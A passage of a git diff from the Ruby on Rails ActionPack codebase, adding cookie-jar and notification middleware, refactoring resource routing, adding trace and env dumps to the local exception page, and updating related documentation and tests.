+ # value, or a hash of options as documented above.
+ def []=(key, options)
+ if options.is_a?(Hash)
+ options.symbolize_keys!
+ value = options[:value]
+ else
+ value = options
+ options = { :value => value }
+ end
+
+ value = super(key.to_s, value)
+
+ options[:path] ||= "/"
+ @set_cookies[key] = options
+ value
+ end
+
+ # Removes the cookie on the client machine by setting the value to an empty string
+ # and setting its expiration date into the past. Like <tt>[]=</tt>, you can pass in
+ # an options hash to delete cookies with extra data such as a <tt>:path</tt>.
+ def delete(key, options = {})
+ options.symbolize_keys!
+ options[:path] ||= "/"
+ value = super(key.to_s)
+ @delete_cookies[key] = options
+ value
+ end
+
+ # Returns a jar that'll automatically set the assigned cookies to have an expiration date 20 years from now. Example:
+ #
+ # cookies.permanent[:prefers_open_id] = true
+ # # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
+ #
+ # This jar is only meant for writing. You'll read permanent cookies through the regular accessor.
+ #
+ # This jar allows chaining with the signed jar as well, so you can set permanent, signed cookies. Examples:
+ #
+ # cookies.permanent.signed[:remember_me] = current_user.id
+ # # => Set-Cookie: discount=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
+ def permanent
+ @permanent ||= PermanentCookieJar.new(self)
+ end
+
+ # Returns a jar that'll automatically generate a signed representation of cookie value and verify it when reading from
+ # the cookie again. This is useful for creating cookies with values that the user is not supposed to change. If a signed
+ # cookie was tampered with by the user (or a 3rd party), an ActiveSupport::MessageVerifier::InvalidSignature exception will
+ # be raised.
+ #
+ # This jar requires that you set a suitable secret for the verification on ActionController::Base.cookie_verifier_secret.
+ #
+ # Example:
+ #
+ # cookies.signed[:discount] = 45
+ # # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/
+ #
+ # cookies.signed[:discount] # => 45
+ def signed
+ @signed ||= SignedCookieJar.new(self)
+ end
+
+ def write(response)
+ @set_cookies.each { |k, v| response.set_cookie(k, v) }
+ @delete_cookies.each { |k, v| response.delete_cookie(k, v) }
+ end
+ end
+
+ class PermanentCookieJar < CookieJar #:nodoc:
+ def initialize(parent_jar)
+ @parent_jar = parent_jar
+ end
+
+ def []=(key, options)
+ if options.is_a?(Hash)
+ options.symbolize_keys!
+ else
+ options = { :value => options }
+ end
+
+ options[:expires] = 20.years.from_now
+ @parent_jar[key] = options
+ end
+
+ def signed
+ @signed ||= SignedCookieJar.new(self)
+ end
+
+ def controller
+ @parent_jar.controller
+ end
+
+ def method_missing(method, *arguments, &block)
+ @parent_jar.send(method, *arguments, &block)
+ end
+ end
+
+ class SignedCookieJar < CookieJar #:nodoc:
+ def initialize(parent_jar)
+ unless ActionController::Base.cookie_verifier_secret
+ raise "You must set ActionController::Base.cookie_verifier_secret to use signed cookies"
+ end
+
+ @parent_jar = parent_jar
+ @verifier = ActiveSupport::MessageVerifier.new(ActionController::Base.cookie_verifier_secret)
+ end
+
+ def [](name)
+ if value = @parent_jar[name]
+ @verifier.verify(value)
+ end
+ end
+
+ def []=(key, options)
+ if options.is_a?(Hash)
+ options.symbolize_keys!
+ options[:value] = @verifier.generate(options[:value])
+ else
+ options = { :value => @verifier.generate(options) }
+ end
+
+ @parent_jar[key] = options
+ end
+
+ def method_missing(method, *arguments, &block)
+ @parent_jar.send(method, *arguments, &block)
+ end
+ end
+
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ status, headers, body = @app.call(env)
+
+ if cookie_jar = env['action_dispatch.cookies']
+ response = Rack::Response.new(body, status, headers)
+ cookie_jar.write(response)
+ response.to_a
+ else
+ [status, headers, body]
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/middleware/notifications.rb b/actionpack/lib/action_dispatch/middleware/notifications.rb
new file mode 100644
index 0000000000..01d2cbb435
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/notifications.rb
@@ -0,0 +1,24 @@
+module ActionDispatch
+ # Provide notifications in the middleware stack. Notice that for the before_dispatch
+ # and after_dispatch notifications, we just send the original env, so we don't pile
+ # up large env hashes in the queue. However, in exception cases, the whole env hash
+ # is actually useful, so we send it all.
+ class Notifications
+ def initialize(app)
+ @app = app
+ end
+
+ def call(stack_env)
+ env = stack_env.dup
+ ActiveSupport::Notifications.instrument("action_dispatch.before_dispatch", :env => env)
+
+ ActiveSupport::Notifications.instrument!("action_dispatch.after_dispatch", :env => env) do
+ @app.call(stack_env)
+ end
+ rescue Exception => exception
+ ActiveSupport::Notifications.instrument('action_dispatch.exception',
+ :env => stack_env, :exception => exception)
+ raise exception
+ end
+ end
+end \ No newline at end of file
diff --git a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
index 10f04dcdf6..3bcd004e12 100644
--- a/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
+++ b/actionpack/lib/action_dispatch/middleware/show_exceptions.rb
@@ -20,7 +20,7 @@ module ActionDispatch
# * :exception - The exception raised;
#
class ShowExceptions
- LOCALHOST = '127.0.0.1'.freeze
+ LOCALHOST = ['127.0.0.1', '::1'].freeze
RESCUES_TEMPLATE_PATH = File.join(File.dirname(__FILE__), 'templates')
@@ -61,11 +61,8 @@ module ActionDispatch
def call(env)
@app.call(env)
rescue Exception => exception
- ActiveSupport::Notifications.instrument 'action_dispatch.show_exception',
- :env => env, :exception => exception do
- raise exception if env['action_dispatch.show_exceptions'] == false
- render_exception(env, exception)
- end
+ raise exception if env['action_dispatch.show_exceptions'] == false
+ render_exception(env, exception)
end
private
@@ -88,7 +85,10 @@ module ActionDispatch
def rescue_action_locally(request, exception)
template = ActionView::Base.new([RESCUES_TEMPLATE_PATH],
:request => request,
- :exception => exception
+ :exception => exception,
+ :application_trace => application_trace(exception),
+ :framework_trace => framework_trace(exception),
+ :full_trace => full_trace(exception)
)
file = "rescues/#{@@rescue_templates[exception.class.name]}.erb"
body = template.render(:file => file, :layout => 'rescues/layout.erb')
@@ -118,7 +118,7 @@ module ActionDispatch
# True if the request came from localhost, 127.0.0.1.
def local_request?(request)
- request.remote_addr == LOCALHOST && request.remote_ip == LOCALHOST
+ LOCALHOST.any?{ |local_ip| request.remote_addr == local_ip && request.remote_ip == local_ip }
end
def status_code(exception)
@@ -148,9 +148,21 @@ module ActionDispatch
end
end
- def clean_backtrace(exception)
+ def application_trace(exception)
+ clean_backtrace(exception, :silent)
+ end
+
+ def framework_trace(exception)
+ clean_backtrace(exception, :noise)
+ end
+
+ def full_trace(exception)
+ clean_backtrace(exception, :all)
+ end
+
+ def clean_backtrace(exception, *args)
defined?(Rails) && Rails.respond_to?(:backtrace_cleaner) ?
- Rails.backtrace_cleaner.clean(exception.backtrace) :
+ Rails.backtrace_cleaner.clean(exception.backtrace, *args) :
exception.backtrace
end
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb
index 5224403dab..839df50999 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_request_and_response.erb
@@ -11,13 +11,20 @@
clean_params.delete("controller")
request_dump = clean_params.empty? ? 'None' : clean_params.inspect.gsub(',', ",\n")
+
+ def debug_hash(hash)
+ hash.sort_by { |k, v| k.to_s }.map { |k, v| "#{k}: #{v.inspect}" }.join("\n")
+ end
%>
<h2 style="margin-top: 30px">Request</h2>
<p><b>Parameters</b>: <pre><%=h request_dump %></pre></p>
<p><a href="#" onclick="document.getElementById('session_dump').style.display='block'; return false;">Show session dump</a></p>
-<div id="session_dump" style="display:none"><%= debug(@request.session.instance_variable_get("@data")) %></div>
+<div id="session_dump" style="display:none"><pre><%= debug_hash @request.session %></pre></div>
+
+<p><a href="#" onclick="document.getElementById('env_dump').style.display='block'; return false;">Show env dump</a></p>
+<div id="env_dump" style="display:none"><pre><%= debug_hash @request.env %></pre></div>
<h2 style="margin-top: 30px">Response</h2>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb
index 07b4919934..d18b162a93 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/_trace.erb
@@ -1,8 +1,8 @@
<%
traces = [
- ["Application Trace", @exception.application_backtrace],
- ["Framework Trace", @exception.framework_backtrace],
- ["Full Trace", @exception.clean_backtrace]
+ ["Application Trace", @application_trace],
+ ["Framework Trace", @framework_trace],
+ ["Full Trace", @full_trace]
]
names = traces.collect {|name, trace| name}
%>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb
index 693e56270a..bd6ffbab5d 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/diagnostics.erb
@@ -4,7 +4,7 @@
in <%=h @request.parameters['controller'].humanize %>Controller<% if @request.parameters['action'] %>#<%=h @request.parameters['action'] %><% end %>
<% end %>
</h1>
-<pre><%=h @exception.clean_message %></pre>
+<pre><%=h @exception.message %></pre>
<%= render :file => "rescues/_trace.erb" %>
<%= render :file => "rescues/_request_and_response.erb" %>
diff --git a/actionpack/lib/action_dispatch/railtie.rb b/actionpack/lib/action_dispatch/railtie.rb
new file mode 100644
index 0000000000..18978bfb39
--- /dev/null
+++ b/actionpack/lib/action_dispatch/railtie.rb
@@ -0,0 +1,29 @@
+require "action_dispatch"
+require "rails"
+
+module ActionDispatch
+ class Railtie < Rails::Railtie
+ plugin_name :action_dispatch
+
+ require "action_dispatch/railties/subscriber"
+ subscriber ActionDispatch::Railties::Subscriber.new
+
+ # Prepare dispatcher callbacks and run 'prepare' callbacks
+ initializer "action_dispatch.prepare_dispatcher" do |app|
+ # TODO: This used to say unless defined?(Dispatcher). Find out why and fix.
+ require 'rails/dispatcher'
+
+ unless app.config.cache_classes
+ # Setup dev mode route reloading
+ routes_last_modified = app.routes_changed_at
+ reload_routes = lambda do
+ unless app.routes_changed_at == routes_last_modified
+ routes_last_modified = app.routes_changed_at
+ app.reload_routes!
+ end
+ end
+ ActionDispatch::Callbacks.before { |callbacks| reload_routes.call }
+ end
+ end
+ end
+end \ No newline at end of file
diff --git a/actionpack/lib/action_dispatch/railties/subscriber.rb b/actionpack/lib/action_dispatch/railties/subscriber.rb
new file mode 100644
index 0000000000..c08a844c6a
--- /dev/null
+++ b/actionpack/lib/action_dispatch/railties/subscriber.rb
@@ -0,0 +1,17 @@
+module ActionDispatch
+ module Railties
+ class Subscriber < Rails::Subscriber
+ def before_dispatch(event)
+ request = Request.new(event.payload[:env])
+ path = request.request_uri.inspect rescue "unknown"
+
+ info "\n\nProcessing #{path} to #{request.formats.join(', ')} " <<
+ "(for #{request.remote_ip} at #{event.time.to_s(:db)}) [#{request.method.to_s.upcase}]"
+ end
+
+ def logger
+ ActionController::Base.logger
+ end
+ end
+ end
+end \ No newline at end of file
diff --git a/actionpack/lib/action_dispatch/routing.rb b/actionpack/lib/action_dispatch/routing.rb
index e99f979197..b598d6f7e2 100644
--- a/actionpack/lib/action_dispatch/routing.rb
+++ b/actionpack/lib/action_dispatch/routing.rb
@@ -193,9 +193,10 @@ module ActionDispatch
#
# With conditions you can define restrictions on routes. Currently the only valid condition is <tt>:method</tt>.
#
- # * <tt>:method</tt> - Allows you to specify which method can access the route. Possible values are <tt>:post</tt>,
- # <tt>:get</tt>, <tt>:put</tt>, <tt>:delete</tt> and <tt>:any</tt>. The default value is <tt>:any</tt>,
- # <tt>:any</tt> means that any method can access the route.
+ # * <tt>:method</tt> - Allows you to specify which HTTP method(s) can access the route. Possible values are
+ # <tt>:post</tt>, <tt>:get</tt>, <tt>:put</tt>, <tt>:delete</tt> and <tt>:any</tt>. Use an array to specify more
+ # than one method, e.g. <tt>[ :get, :post ]</tt>. The default value is <tt>:any</tt>, <tt>:any</tt> means that any
+ # method can access the route.
#
# Example:
#
diff --git a/actionpack/lib/action_dispatch/routing/mapper.rb b/actionpack/lib/action_dispatch/routing/mapper.rb
index ce5c56ae1c..811c287355 100644
--- a/actionpack/lib/action_dispatch/routing/mapper.rb
+++ b/actionpack/lib/action_dispatch/routing/mapper.rb
@@ -380,7 +380,7 @@ module ActionDispatch
end
def controller
- plural
+ options[:controller] || plural
end
def member_name
@@ -418,28 +418,12 @@ module ActionDispatch
def resource(*resources, &block)
options = resources.extract_options!
- if resources.length > 1
- raise ArgumentError if block_given?
- resources.each { |r| resource(r, options) }
- return self
- end
-
- if path_names = options.delete(:path_names)
- scope(:resources_path_names => path_names) do
- resource(resources, options)
- end
+ if verify_common_behavior_for(:resource, resources, options, &block)
return self
end
resource = SingletonResource.new(resources.pop, options)
- if @scope[:scope_level] == :resources
- nested do
- resource(resource.name, options, &block)
- end
- return self
- end
-
scope(:path => resource.name.to_s, :controller => resource.controller) do
with_scope_level(:resource, resource) do
yield if block_given?
@@ -459,28 +443,12 @@ module ActionDispatch
def resources(*resources, &block)
options = resources.extract_options!
- if resources.length > 1
- raise ArgumentError if block_given?
- resources.each { |r| resources(r, options) }
- return self
- end
-
- if path_names = options.delete(:path_names)
- scope(:resources_path_names => path_names) do
- resources(resources, options)
- end
+ if verify_common_behavior_for(:resources, resources, options, &block)
return self
end
resource = Resource.new(resources.pop, options)
- if @scope[:scope_level] == :resources
- nested do
- resources(resource.name, options, &block)
- end
- return self
- end
-
scope(:path => resource.name.to_s, :controller => resource.controller) do
with_scope_level(:resources, resource) do
yield if block_given?
@@ -595,6 +563,29 @@ module ActionDispatch
path_names[name.to_sym] || name.to_s
end
+ def verify_common_behavior_for(method, resources, options, &block)
+ if resources.length > 1
+ resources.each { |r| send(method, r, options, &block) }
+ return true
+ end
+
+ if path_names = options.delete(:path_names)
+ scope(:resources_path_names => path_names) do
+ send(method, resources.pop, options, &block)
+ end
+ return true
+ end
+
+ if @scope[:scope_level] == :resources
+ nested do
+ send(method, resources.pop, options, &block)
+ end
+ return true
+ end
+
+ false
+ end
+
def with_exclusive_name_prefix(prefix)
begin
old_name_prefix = @scope[:name_prefix]
diff --git a/actionpack/lib/action_dispatch/testing/assertions/routing.rb b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
index fc477afb17..0c33539b4a 100644
--- a/actionpack/lib/action_dispatch/testing/assertions/routing.rb
+++ b/actionpack/lib/action_dispatch/testing/assertions/routing.rb
@@ -12,29 +12,29 @@ module ActionDispatch
# and a :method containing the required HTTP verb.
#
# # assert that POSTing to /items will call the create action on ItemsController
- # assert_recognizes {:controller => 'items', :action => 'create'}, {:path => 'items', :method => :post}
+ # assert_recognizes({:controller => 'items', :action => 'create'}, {:path => 'items', :method => :post})
#
# You can also pass in +extras+ with a hash containing URL parameters that would normally be in the query string. This can be used
# to assert that values in the query string string will end up in the params hash correctly. To test query strings you must use the
# extras argument, appending the query string on the path directly will not work. For example:
#
# # assert that a path of '/items/list/1?view=print' returns the correct options
- # assert_recognizes {:controller => 'items', :action => 'list', :id => '1', :view => 'print'}, 'items/list/1', { :view => "print" }
+ # assert_recognizes({:controller => 'items', :action => 'list', :id => '1', :view => 'print'}, 'items/list/1', { :view => "print" })
#
# The +message+ parameter allows you to pass in an error message that is displayed upon failure.
#
# ==== Examples
# # Check the default route (i.e., the index action)
- # assert_recognizes {:controller => 'items', :action => 'index'}, 'items'
+ # assert_recognizes({:controller => 'items', :action => 'index'}, 'items')
#
# # Test a specific action
- # assert_recognizes {:controller => 'items', :action => 'list'}, 'items/list'
+ # assert_recognizes({:controller => 'items', :action => 'list'}, 'items/list')
#
# # Test an action with a parameter
- # assert_recognizes {:controller => 'items', :action => 'destroy', :id => '1'}, 'items/destroy/1'
+ # assert_recognizes({:controller => 'items', :action => 'destroy', :id => '1'}, 'items/destroy/1')
#
# # Test a custom route
- # assert_recognizes {:controller => 'items', :action => 'show', :id => '1'}, 'view/item1'
+ # assert_recognizes({:controller => 'items', :action => 'show', :id => '1'}, 'view/item1')
#
# # Check a Simply RESTful generated route
# assert_recognizes list_items_url, 'items/list'
@@ -103,7 +103,7 @@ module ActionDispatch
# assert_routing '/home', :controller => 'home', :action => 'index'
#
# # Test a route generated with a specific controller, action, and parameter (id)
- # assert_routing '/entries/show/23', :controller => 'entries', :action => 'show', id => 23
+ # assert_routing '/entries/show/23', :controller => 'entries', :action => 'show', :id => 23
#
# # Assert a basic route (controller + default action), with an error message if it fails
# assert_routing '/store', { :controller => 'store', :action => 'index' }, {}, {}, 'Route for store index not generated properly'
@@ -112,7 +112,7 @@ module ActionDispatch
# assert_routing 'controller/action/9', {:id => "9", :item => "square"}, {:controller => "controller", :action => "action"}, {}, {:item => "square"}
#
# # Tests a route with a HTTP method
- # assert_routing { :method => 'put', :path => '/product/321' }, { :controller => "product", :action => "update", :id => "321" }
+ # assert_routing({ :method => 'put', :path => '/product/321' }, { :controller => "product", :action => "update", :id => "321" })
def assert_routing(path, options, defaults={}, extras={}, message=nil)
assert_recognizes(options, path, extras, message)
diff --git a/actionpack/lib/action_view/helpers/debug_helper.rb b/actionpack/lib/action_view/helpers/debug_helper.rb
index 90863fca08..885945fde3 100644
--- a/actionpack/lib/action_view/helpers/debug_helper.rb
+++ b/actionpack/lib/action_view/helpers/debug_helper.rb
@@ -27,10 +27,10 @@ module ActionView
def debug(object)
begin
Marshal::dump(object)
- "<pre class='debug_dump'>#{h(object.to_yaml).gsub(" ", "&nbsp; ")}</pre>"
+ "<pre class='debug_dump'>#{h(object.to_yaml).gsub(" ", "&nbsp; ")}</pre>".html_safe!
rescue Exception => e # errors from Marshal or YAML
# Object couldn't be dumped, perhaps because of singleton methods -- this is the fallback
- "<code class='debug_dump'>#{h(object.inspect)}</code>"
+ "<code class='debug_dump'>#{h(object.inspect)}</code>".html_safe!
end
end
end
diff --git a/actionpack/lib/action_view/helpers/form_tag_helper.rb b/actionpack/lib/action_view/helpers/form_tag_helper.rb
index 7688e786b1..048bedc7ba 100644
--- a/actionpack/lib/action_view/helpers/form_tag_helper.rb
+++ b/actionpack/lib/action_view/helpers/form_tag_helper.rb
@@ -55,6 +55,9 @@ module ActionView
# * Any other key creates standard HTML attributes for the tag.
#
# ==== Examples
+ # select_tag "people", options_from_collection_for_select(@people, "name", "id")
+ # # <select id="people" name="people"><option value="1">David</option></select>
+ #
# select_tag "people", "<option>David</option>"
# # => <select id="people" name="people"><option>David</option></select>
#
diff --git a/actionpack/lib/action_view/helpers/sanitize_helper.rb b/actionpack/lib/action_view/helpers/sanitize_helper.rb
index f03ffe5ef4..657d26f0a2 100644
--- a/actionpack/lib/action_view/helpers/sanitize_helper.rb
+++ b/actionpack/lib/action_view/helpers/sanitize_helper.rb
@@ -22,7 +22,7 @@ module ActionView
#
# Custom Use (only the mentioned tags and attributes are allowed, nothing else)
#
- # <%= sanitize @article.body, :tags => %w(table tr td), :attributes => %w(id class style)
+ # <%= sanitize @article.body, :tags => %w(table tr td), :attributes => %w(id class style) %>
#
# Add table tags to the default allowed tags
#
diff --git a/actionpack/lib/action_view/helpers/text_helper.rb b/actionpack/lib/action_view/helpers/text_helper.rb
index be15e227b9..814d86812d 100644
--- a/actionpack/lib/action_view/helpers/text_helper.rb
+++ b/actionpack/lib/action_view/helpers/text_helper.rb
@@ -226,8 +226,7 @@ module ActionView
# Returns the text with all the Textile[http://www.textism.com/tools/textile] codes turned into HTML tags.
#
# You can learn more about Textile's syntax at its website[http://www.textism.com/tools/textile].
- # <i>This method is only available if RedCloth[http://whytheluckystiff.net/ruby/redcloth/]
- # is available</i>.
+ # <i>This method is only available if RedCloth[http://redcloth.org/] is available</i>.
#
# ==== Examples
# textilize("*This is Textile!* Rejoice!")
@@ -263,8 +262,7 @@ module ActionView
# but without the bounding <p> tag that RedCloth adds.
#
# You can learn more about Textile's syntax at its website[http://www.textism.com/tools/textile].
- # <i>This method is requires RedCloth[http://whytheluckystiff.net/ruby/redcloth/]
- # to be available</i>.
+ # <i>This method is only available if RedCloth[http://redcloth.org/] is available</i>.
#
# ==== Examples
# textilize_without_paragraph("*This is Textile!* Rejoice!")
diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb
index 10913c0fdb..7b04638ccc 100644
--- a/actionpack/test/abstract_unit.rb
+++ b/actionpack/test/abstract_unit.rb
@@ -92,6 +92,7 @@ class ActionController::IntegrationTest < ActiveSupport::TestCase
middleware.use "ActionDispatch::ShowExceptions"
middleware.use "ActionDispatch::Callbacks"
middleware.use "ActionDispatch::ParamsParser"
+ middleware.use "ActionDispatch::Cookies"
middleware.use "ActionDispatch::Flash"
middleware.use "ActionDispatch::Head"
}.build(routes || ActionController::Routing::Routes)
diff --git a/actionpack/test/activerecord/controller_runtime_test.rb b/actionpack/test/activerecord/controller_runtime_test.rb
index 37c7738301..d6f7cd80ab 100644
--- a/actionpack/test/activerecord/controller_runtime_test.rb
+++ b/actionpack/test/activerecord/controller_runtime_test.rb
@@ -37,8 +37,8 @@ module ControllerRuntimeSubscriberTest
get :show
wait
- assert_equal 2, @logger.logged(:info).size
- assert_match /\(Views: [\d\.]+ms | ActiveRecord: [\d\.]+ms\)/, @logger.logged(:info)[1]
+ assert_equal 1, @logger.logged(:info).size
+ assert_match /\(Views: [\d\.]+ms | ActiveRecord: [\d\.]+ms\)/, @logger.logged(:info)[0]
end
class SyncSubscriberTest < ActionController::TestCase
diff --git a/actionpack/test/controller/cookie_test.rb b/actionpack/test/controller/cookie_test.rb
index c8e8b3857e..f5ccef8aaf 100644
--- a/actionpack/test/controller/cookie_test.rb
+++ b/actionpack/test/controller/cookie_test.rb
@@ -54,12 +54,12 @@ class CookieTest < ActionController::TestCase
cookies.permanent[:user_name] = "Jamie"
head :ok
end
-
+
def set_signed_cookie
cookies.signed[:user_id] = 45
head :ok
end
-
+
def set_permanent_signed_cookie
cookies.permanent.signed[:remember_me] = 100
head :ok
@@ -120,28 +120,6 @@ class CookieTest < ActionController::TestCase
assert_equal({"user_name" => nil}, @response.cookies)
end
- def test_cookiejar_accessor
- @request.cookies["user_name"] = "david"
- @controller.request = @request
- jar = ActionController::CookieJar.build(@controller.request, @controller.response)
- assert_equal "david", jar["user_name"]
- assert_equal nil, jar["something_else"]
- end
-
- def test_cookiejar_accessor_with_array_value
- @request.cookies["pages"] = %w{1 2 3}
- @controller.request = @request
- jar = ActionController::CookieJar.build(@controller.request, @controller.response)
- assert_equal %w{1 2 3}, jar["pages"]
- end
-
- def test_cookiejar_delete_removes_item_and_returns_its_value
- @request.cookies["user_name"] = "david"
- @controller.response = @response
- jar = ActionController::CookieJar.build(@controller.request, @controller.response)
- assert_equal "david", jar.delete("user_name")
- end
-
def test_delete_cookie_with_path
get :delete_cookie_with_path
assert_cookie_header "user_name=; path=/beaten; expires=Thu, 01-Jan-1970 00:00:00 GMT"
@@ -157,19 +135,24 @@ class CookieTest < ActionController::TestCase
assert_match /Jamie/, @response.headers["Set-Cookie"]
assert_match %r(#{20.years.from_now.utc.year}), @response.headers["Set-Cookie"]
end
-
+
def test_signed_cookie
get :set_signed_cookie
assert_equal 45, @controller.send(:cookies).signed[:user_id]
end
-
+
+ def test_accessing_nonexistant_signed_cookie_should_not_raise_an_invalid_signature
+ get :set_signed_cookie
+ assert_nil @controller.send(:cookies).signed[:non_existant_attribute]
+ end
+
def test_permanent_signed_cookie
get :set_permanent_signed_cookie
assert_match %r(#{20.years.from_now.utc.year}), @response.headers["Set-Cookie"]
assert_equal 100, @controller.send(:cookies).signed[:remember_me]
end
-
+
private
def assert_cookie_header(expected)
header = @response.headers["Set-Cookie"]
diff --git a/actionpack/test/controller/filter_params_test.rb b/actionpack/test/controller/filter_params_test.rb
index d0635669c2..45949636c3 100644
--- a/actionpack/test/controller/filter_params_test.rb
+++ b/actionpack/test/controller/filter_params_test.rb
@@ -9,23 +9,6 @@ end
class FilterParamTest < ActionController::TestCase
tests FilterParamController
- class MockLogger
- attr_reader :logged
- attr_accessor :level
-
- def initialize
- @level = Logger::DEBUG
- end
-
- def method_missing(method, *args)
- @logged ||= []
- @logged << args.first unless block_given?
- @logged << yield if block_given?
- end
- end
-
- setup :set_logger
-
def test_filter_parameters_must_have_one_word
assert_raises RuntimeError do
FilterParamController.filter_parameter_logging
@@ -65,14 +48,4 @@ class FilterParamTest < ActionController::TestCase
assert !FilterParamController.action_methods.include?('filter_parameters')
assert_raise(NoMethodError) { @controller.filter_parameters([{'password' => '[FILTERED]'}]) }
end
-
- private
-
- def set_logger
- @controller.logger = MockLogger.new
- end
-
- def logs
- @logs ||= @controller.logger.logged.compact.map {|l| l.to_s.strip}
- end
end
diff --git a/actionpack/test/controller/flash_test.rb b/actionpack/test/controller/flash_test.rb
index 85a2e7f44b..3c651ebebc 100644
--- a/actionpack/test/controller/flash_test.rb
+++ b/actionpack/test/controller/flash_test.rb
@@ -220,7 +220,7 @@ class FlashIntegrationTest < ActionController::IntegrationTest
def with_test_route_set
with_routing do |set|
set.draw do |map|
- match ':action', :to => ActionDispatch::Session::CookieStore.new(TestController, :key => SessionKey, :secret => SessionSecret)
+ match ':action', :to => ActionDispatch::Session::CookieStore.new(FlashIntegrationTest::TestController, :key => FlashIntegrationTest::SessionKey, :secret => FlashIntegrationTest::SessionSecret)
end
yield
end
diff --git a/actionpack/test/controller/new_base/base_test.rb b/actionpack/test/controller/new_base/base_test.rb
index 1f9bf7f0fb..964780eaf2 100644
--- a/actionpack/test/controller/new_base/base_test.rb
+++ b/actionpack/test/controller/new_base/base_test.rb
@@ -3,6 +3,8 @@ require 'abstract_unit'
# Tests the controller dispatching happy path
module Dispatching
class SimpleController < ActionController::Base
+ before_filter :authenticate
+
def index
render :text => "success"
end
@@ -12,12 +14,20 @@ module Dispatching
end
def modify_response_body_twice
- ret = (self.response_body = "success")
+ ret = (self.response_body = "success")
self.response_body = "#{ret}!"
end
def modify_response_headers
end
+
+ def show_actions
+ render :text => "actions: #{action_methods.to_a.join(', ')}"
+ end
+
+ protected
+ def authenticate
+ end
end
class EmptyController < ActionController::Base ; end
@@ -64,5 +74,21 @@ module Dispatching
assert_equal 'empty', EmptyController.controller_name
assert_equal 'contained_empty', Submodule::ContainedEmptyController.controller_name
end
+
+ test "action methods" do
+ assert_equal Set.new(%w(
+ modify_response_headers
+ modify_response_body_twice
+ index
+ modify_response_body
+ show_actions
+ )), SimpleController.action_methods
+
+ assert_equal Set.new, EmptyController.action_methods
+ assert_equal Set.new, Submodule::ContainedEmptyController.action_methods
+
+ get "/dispatching/simple/show_actions"
+ assert_body "actions: modify_response_headers, modify_response_body_twice, index, modify_response_body, show_actions"
+ end
end
end
diff --git a/actionpack/test/controller/subscriber_test.rb b/actionpack/test/controller/subscriber_test.rb
index ef1a325799..24132ee928 100644
--- a/actionpack/test/controller/subscriber_test.rb
+++ b/actionpack/test/controller/subscriber_test.rb
@@ -66,15 +66,10 @@ module ActionControllerSubscriberTest
def test_process_action
get :show
wait
- assert_equal 2, logs.size
- assert_match /Processed\sAnother::SubscribersController#show/, logs[0]
- end
-
- def test_process_action_formats
- get :show
- wait
- assert_equal 2, logs.size
- assert_match /text\/html/, logs[0]
+ assert_equal 1, logs.size
+ assert_match /Completed/, logs.first
+ assert_match /\[200\]/, logs.first
+ assert_match /Another::SubscribersController#show/, logs.first
end
def test_process_action_without_parameters
@@ -87,23 +82,14 @@ module ActionControllerSubscriberTest
get :show, :id => '10'
wait
- assert_equal 3, logs.size
- assert_equal 'Parameters: {"id"=>"10"}', logs[1]
+ assert_equal 2, logs.size
+ assert_equal 'Parameters: {"id"=>"10"}', logs[0]
end
def test_process_action_with_view_runtime
get :show
wait
- assert_match /\(Views: [\d\.]+ms\)/, logs[1]
- end
-
- def test_process_action_with_status_and_request_uri
- get :show
- wait
- last = logs.last
- assert_match /Completed/, last
- assert_match /200/, last
- assert_match /another\/subscribers\/show/, last
+ assert_match /\(Views: [\d\.]+ms\)/, logs[0]
end
def test_process_action_with_filter_parameters
@@ -112,7 +98,7 @@ module ActionControllerSubscriberTest
get :show, :lifo => 'Pratik', :amount => '420', :step => '1'
wait
- params = logs[1]
+ params = logs[0]
assert_match /"amount"=>"\[FILTERED\]"/, params
assert_match /"lifo"=>"\[FILTERED\]"/, params
assert_match /"step"=>"1"/, params
@@ -122,7 +108,7 @@ module ActionControllerSubscriberTest
get :redirector
wait
- assert_equal 3, logs.size
+ assert_equal 2, logs.size
assert_equal "Redirected to http://foo.bar/", logs[0]
end
@@ -130,7 +116,7 @@ module ActionControllerSubscriberTest
get :data_sender
wait
- assert_equal 3, logs.size
+ assert_equal 2, logs.size
assert_match /Sent data omg\.txt/, logs[0]
end
@@ -138,7 +124,7 @@ module ActionControllerSubscriberTest
get :file_sender
wait
- assert_equal 3, logs.size
+ assert_equal 2, logs.size
assert_match /Sent file/, logs[0]
assert_match /test\/fixtures\/company\.rb/, logs[0]
end
@@ -147,7 +133,7 @@ module ActionControllerSubscriberTest
get :xfile_sender
wait
- assert_equal 3, logs.size
+ assert_equal 2, logs.size
assert_match /Sent X\-Sendfile header/, logs[0]
assert_match /test\/fixtures\/company\.rb/, logs[0]
end
@@ -157,7 +143,7 @@ module ActionControllerSubscriberTest
get :with_fragment_cache
wait
- assert_equal 4, logs.size
+ assert_equal 3, logs.size
assert_match /Exist fragment\? views\/foo/, logs[0]
assert_match /Write fragment views\/foo/, logs[1]
ensure
@@ -169,7 +155,7 @@ module ActionControllerSubscriberTest
get :with_page_cache
wait
- assert_equal 3, logs.size
+ assert_equal 2, logs.size
assert_match /Write page/, logs[0]
